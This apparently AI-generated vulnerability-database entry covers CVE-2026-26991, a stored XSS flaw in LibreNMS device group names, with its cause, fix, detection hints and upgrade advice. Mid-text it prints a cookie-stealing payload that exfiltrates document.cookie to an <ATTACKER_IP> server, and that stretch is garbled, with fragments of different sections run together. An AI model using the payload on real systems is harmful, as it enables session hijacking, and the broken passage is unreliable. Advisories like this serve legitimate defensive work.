
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-26991 is a stored Cross-Site Scripting (XSS) vulnerability in LibreNMS affecting the /device-groups endpoint, specifically the name parameter used when creating device groups. The vulnerability exists in all LibreNMS versions prior to 26.2.0. It was published on February 17, 2026, and assigned a CVSS v4 base score of 5.1 (Medium) (GitHub Advisory). Exploitation requires an authenticated attacker with admin privileges and passive user interaction from another user viewing the device groups page (LibreNMS Advisory).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), where the device group name field is stored without sanitizing HTML/JavaScript characters and later rendered unsanitized in the Blade template resources/views/device-group/index.blade.php (GitHub Advisory). Specifically, the device group name was passed directly into the delete_dg() JavaScript function call in the Delete button's onclick attribute without escaping, allowing injected JavaScript to execute when any user triggers the delete confirmation dialog (LibreNMS Commit). The fix moved the group name into a data-group-name HTML attribute (which Blade auto-escapes) and retrieved it via button.dataset.groupName in JavaScript, eliminating the injection point (LibreNMS PR).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser context of any user who views the Device Groups page and interacts with the Delete button for the malicious group. The primary demonstrated impact is session cookie theft — including authentication cookies (CookieAuth) and CSRF tokens (XSRF-TOKEN) — which can be exfiltrated to an attacker-controlled server, enabling session hijacking and unauthorized access to the LibreNMS instance (LibreNMS Advisory). There is no availability impact, but both confidentiality and integrity of the vulnerable and subsequent systems are affected at a low level (GitHub Advisory).
A proof-of-concept exploit is publicly documented in the GitHub Security Advisory, demonstrating cookie exfiltration via a crafted device group name (LibreNMS Advisory). There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. The EPSS score is approximately 0.007% (0th percentile), indicating a very low probability of exploitation in the near term (GitHub Advisory). Exploitation requires admin-level authentication, which significantly limits the attacker pool.
12345');var pt=new Image();pt.src='http://<ATTACKER_IP>/cookie-'.concat(document.cookie);document.body.appendChild(pt);delete_dg(this, '12345Replace <ATTACKER_IP> with the IP address of an attacker-controlled web server.access_points.accesspoint_id) and value (e.g., 1), then click Save./cookie- followed by URL-encoded cookie data; requests containing CookieAuth, XSRF-TOKEN, or jqCookieJar strings in the URI.var , document.cookie, Image(), concat).device_groups table) where the name column contains HTML/JavaScript characters such as <script>, ');, var , or document.cookie.Update LibreNMS to version 26.2.0 or later, which includes the fix applied in commit 64b31da444369213eb4559ec1c304ebfaa0ba12c (LibreNMS Release, LibreNMS Commit). No official configuration-based workaround is available; the only remediation is upgrading to the patched version. As a defense-in-depth measure, restrict admin-level access to trusted users only, implement a Content Security Policy (CSP) header to limit script execution origins, and monitor device group names for suspicious content (GitHub Advisory).
The vulnerability was reported by security researcher awoffsec (Finder) and coordinated by wsparks-vc, with the fix authored by LibreNMS maintainer murrant (LibreNMS Advisory). The fix was part of a broader security release in LibreNMS 26.2.0 that addressed multiple XSS issues simultaneously (port group delete XSS, alert rule XSS, reflected XSS), suggesting a coordinated security audit (LibreNMS Release). No significant broader media coverage or notable social media discussion has been identified beyond the standard vulnerability database entries.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."